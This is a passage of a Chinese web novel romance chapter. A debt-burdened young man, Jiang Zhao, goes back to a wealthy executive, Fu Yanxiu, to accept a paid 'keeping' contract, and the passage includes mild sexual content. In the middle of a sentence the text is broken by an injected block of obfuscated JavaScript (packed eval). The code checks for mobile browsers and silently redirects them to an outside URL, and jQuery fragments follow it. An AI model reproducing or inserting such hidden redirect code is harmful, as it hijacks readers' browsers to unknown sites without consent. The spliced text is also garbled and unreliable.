三个字轻易被掩盖在周围的谈笑声里。
姜昭愣愣在原地站着,嘴唇不安地小幅度张合。
他也不清楚自己怎么就突然开口喊傅砚修,只是从这个角度望着男人轮廓锋利的侧脸,心跳也不明所以地加快。
然而下一刻就被人攥住手臂向后拉,“你还在这儿干什么!”
经理拧着眉声音压得很低,生怕打扰了旁边融洽的气氛,“走,赶紧走。”说着,接收到经理眼色的保安第二次上前。
他们当然不会好声好气地把人请走。
两个人高马大的保镖一前一后堵住姜昭,先断了他想冲出去的念头,再推搡着把人往远处带。
“我的……”挣扎时姜昭怀里的东西噼里啪啦掉了一地,“我的杯子。”
他蹲下身想捡,肩膀上却紧接着传来被捏住阻挠的痛感。
混乱间,有道沉稳的脚步从远处迈近,姜昭指尖触到杯壁的那一刻,冷淡的嗓音从头顶落下,“这是在做什么。”
姜昭下意识抬头,先看见的是截笔挺的西装裤腿,再往上,才是傅砚修充满冷感且锐利的下颌。
经理立刻挡在姜昭身前,“傅总您怎么下来了?这儿地脏,没来得及清理,别弄脏了您的……”
耳边回荡着经理奉承讨好的声音,又因为迟迟得不到傅砚修的回复而逐渐变得小心忐忑。
姜昭握着水杯的手缓慢收紧。
原来,这就是所谓的权势吗?
光是站在那里就足够有压迫感,一言不发也会有人绞尽脑汁去猜测喜好,动动嘴皮子就能把姜昭开掉的经理在傅砚修面前……却连抬头直视他都没资格。
姜昭以前从没羡慕过这些特权阶级,但今天、今晚,他第一次渴望能像他们一样,轻飘飘一句话就能拯救家人于水火。
“傅先生。”姜昭手掌撑地,迟钝地站起身,“我……”
他的目光穿过经理肩膀,在与傅砚修对视的刹那,脸上扬起一抹僵硬讨好的笑,“我想和您……”
傅砚修迎着姜昭示好的目光,没接话。
他的沉默让等待的每分每秒都成了煎熬,姜昭不安地舔唇,顶着周围落在他身上的目光,没说完的话更加难以启齿。
他想和傅砚修什么?直接问对方还愿不愿意包养他吗?
一片寂静中,傅砚修蓦地往前了一步。
经理自觉走开,于是他们之间没了阻隔,姜昭就闻到了傅砚修身上淡淡的冷香。
他扯扯唇,绞尽脑汁想着要说些什么才能抓住这最后一根救命稻草,傅砚修的目光却层层往下,漫不经心开口:“手怎么流血了。”
……
因为傅砚修简短的一句话,姜昭在星海岸破天荒得到了贵宾级待遇。
给他准备了处理伤口的酒精和创可贴不说,还专门空出来一间包厢,让他和傅砚修安静地说话。
姜昭坐在柔软的皮质沙发上,也不敢抬头。
桌上放着的消毒酒精压根没心思去碰,满脑子都在想着该如何跟傅砚修开口?
只要签下合同,那他一个月就能拿50万。
有了这笔钱,他马上就能还完所有欠债,不仅能带着姜明谦和姜暮搬去更好的小区,甚至、甚至还能为姜明谦定做材料最好的义肢!
“傅先生。”包养两个字姜昭实在说不出口,只能尝试着迂回,“合同的事,现在还、还算数吗?”
彼时的傅砚修和他们初见那天一样,懒散靠在沙发里,头顶灯光从他脸上旋转而过,衬出那双漆黑幽深的眼。
他直视着姜昭,嗓音不咸不淡,“你不是已经拒绝我了么。”沉默半晌,又慢悠悠地反问:“反悔了?”
姜昭手指抠着掌心,紧张得已经感觉不到疼痛了,“是。”
傅砚修双腿交叠着,嗤笑一声,“送出去的东西都没有收回的道理,你凭什么觉得拒绝了还能拥有第二次机会?”
话语里带着淡淡的嘲讽意味。
那一字字砸在姜昭耳边,像石子一样磕得他骨肉疼痛,“对不起傅先生,是我当时不识好歹。”
姜昭急迫地凑近,抓着傅砚修的手试图将自己的脸贴上去,“我脑子轴,很多事情短时间想不明白,我现在清楚能、能被您看上是我的荣幸。”
傅砚修却并不理会他笨拙的讨好。
往后一抽手,语气里甚至带了点厌烦,“求人可不是光靠嘴巴动动。”
“姜昭,这就是你的诚意?”
姜昭动作一顿。
提出包养,无非就是傅砚修看上了他的脸……和身体。
姜昭抖着手去脱衣服。
他上半身还穿着星海岸的统一制服,布料很薄,但穿着有些繁琐。卡在侧腰处的纽扣迟迟解不开,姜昭急得干脆动手去扯。
少年人的身躯就轻易地暴露在傅砚修眼底。
和他想象中的一样,瘦削骨感,薄薄的肌肉覆盖在躯体上,腰线往里收,到了胯部又舒展开来。
姜昭脑子里回想着小乔曾经讨好那位池少爷的动作,深吸一口气,猛地上前跨坐在了傅砚修腿上。
手也顺势搭在人肩膀上,随后下定决心般壮烈闭眼,直直吻上了傅砚修的唇。
与其说是吻,不如用撞形容更为贴切。
姜昭没谈过女朋友
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027344|178605||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,自然也没接过吻。
这么一下撞得他口腔内壁也刺痛,却仍然紧紧贴着不离开。
傅砚修处于罕见的下位。
姿势的缘故,他和姜昭的距离前所未有的近,男生温热的鼻息喷洒在他脸颊,卷翘的睫毛不安的反复轻颤。很生涩,却也无趣。
傅砚修伸手正要把人推开,下唇就忽然感觉……被轻轻舔了下。
触感湿润柔软,被舔到的地方泛起的痒意裹挟着电流在刹那间蹿遍全身。
下意识地,傅砚修把人推开。
姜昭不明所以,“傅先生?”
他现在整张脸都是红的,好不容易摸索出了讨好人的方法,才准备继续往下实施就被迫中断。
傅砚修半垂下眼皮,语气冷淡,嗓音却变得有些沙哑,“电话在响。”
姜昭这才发现裤兜里的手机一直在震动。
他急急忙忙掏出来,看见屏幕上闪烁跳跃的“爸爸”二字,想也没想就接通,“爸你醒了?头还疼不疼,身上难不难受?”
劣质手机漏音严重,距离又近,傅砚修轻易就能把两人对话听得清楚。
姜昭的资料在合同送出的当天就同步放到了他桌上,只是到昨天才有空翻。
残疾的父亲,年幼的妹妹,姜昭能为了他们主动上门献身,这会儿想必也迫不及待要去见人。
果然,通话一结束,姜昭的神色就变得有些忐忑又畏缩。
一副想走又怕他不同意的模样。
傅砚修扯了扯唇。
他闲来无事也会跟朋友出海钓鱼,鱼儿咬上钩时,鱼线不能一味地收紧,要一放一松,对人当然也一样。
况且傅砚修不像那些精虫上脑的富二代,脱了裤子就能随时随地来一发,他有洁癖,这里不是他中意的场所。
“去吧。”姜昭听见傅砚修淡淡出声。
他看着对方的视线扫过他裸露的胸膛,目光似乎还在胸前两点停顿了下,才对着旁边抬抬下巴,“衣服拿去穿。”
姜昭这时候突然又聪明了。
他觉得傅砚修肯定不是关心他才把自己的大衣借给他穿,而是一种隐晦的答复——他可以借着还衣服的名义,和他继续见面!
“谢谢!”姜昭是真的高兴,短短两个字被他说得掷地有声,“谢谢您!”
他边说边爬起来往后退,大概是因为太激动了,脚落地时没踩稳,身子在空中一歪,手就下意识地按在某处做支撑。
同一瞬间,耳边忽地响起一声低低的闷哼。
姜昭往下一看,就见他的手好死不死地撑在了傅砚修……
双腿之间。